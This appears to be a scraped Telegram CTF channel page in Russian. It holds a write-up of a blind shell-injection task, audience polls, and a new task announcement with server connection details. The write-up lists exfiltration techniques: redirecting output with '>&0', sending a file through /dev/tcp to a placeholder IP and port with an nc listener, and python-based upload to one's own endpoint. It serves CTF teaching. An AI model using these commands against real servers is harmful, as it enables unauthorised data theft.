📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.
Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.
😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.
1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде
Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.
2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов:
3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль
4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP:
Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит:
❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.
📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из поста от 10 августа: описание задачи.
❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.
📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.
Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.
😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.
1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде
ls path/folder/secr*. В такой команде звездочка означает любое продолжение пути. Если сервер отвечает успехом, значит ищем следующий символ. Файл лежит по пути /home/ctfuser/secret.txt. Дале таким же перебором, по одному символу можно считать и содержимое файла, используя такую команду: cat /home/ctfuser/secret.txt | cut -c {position} | grep -q '{char}'. Где {position}, это позиция символа в файле, а {char} — это символ для сравнения. Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.
2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов:
ls -la >&0 и для чтения cat secret.txt >&0. 3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль
python3 -c "код", и сервер выполняет код. И уже дальше с помощью скрипта нужно просканировать папку, собрать данные и отправить их к себе на эндпоинт. А когда файл найдет, таким же образом прочитать данные и заслать их к себе на сервер для чтения.4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP:
cat secret.txt > /dev/tcp/{IP}/{PORT}Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит:
nc -l -p {PORT}❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.
📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4❤2 2
Социальный опрос в БАГодельне
❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.
❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.
❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.
⁉️ А теперь внимание, опрос!
❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.
❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.
❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.
⁉️ А теперь внимание, опрос!
👍6❤3🔥1
Какие форматы постов хочется видеть чаще?
Anonymous Poll
46%
Новые задачи с CTF, чтобы порешать
47%
Разборы задач с CTF
48%
Посты по разработке
40%
Верни посты с кодревью!
31%
Не хватает историй и мыслей
❤4 2
Как относитесь к задачам, которые тут запускаем раз в неделю:
Anonymous Poll
15%
Решаю, все ок
8%
Решаю, но хочется полегче
4%
Решаю, но хочется посложнее
18%
Хочу еще других категорий задач
58%
НЕ решаю, но интересны разборы
14%
НЕ решаю и НЕ интересны разборы
❤4 3
Задача «Тихий страж»
📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.
📌 Описание задачи:
В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.
Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"
Команда для подключения:
UPD:
socat -,rawer,escape=0x1d OPENSSL:ctf.owl-dev.ru:1337,verify=0,no-sni=1
Пароль подключения: cEBzU3cwckQ=
Автор задачи: xof
❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.
📖 Решение этой задачи будет опубликовано в начале следующей недели.
🏆 Первый решивший — молодец! Погнали!
———
#⃣ #CTF #ЗадачиCTF #reverse
🐞 БАГодельня: Канал // Чат
📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.
📌 Описание задачи:
В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.
Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"
Команда для подключения:
UPD:
Пароль подключения: cEBzU3cwckQ=
nc ctf.owl-dev.ru 1337
Автор задачи: xof
❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.
📖 Решение этой задачи будет опубликовано в начале следующей недели.
🏆 Первый решивший — молодец! Погнали!
———
Please open Telegram to view this post
VIEW IN TELEGRAM
3 5👍4🔥3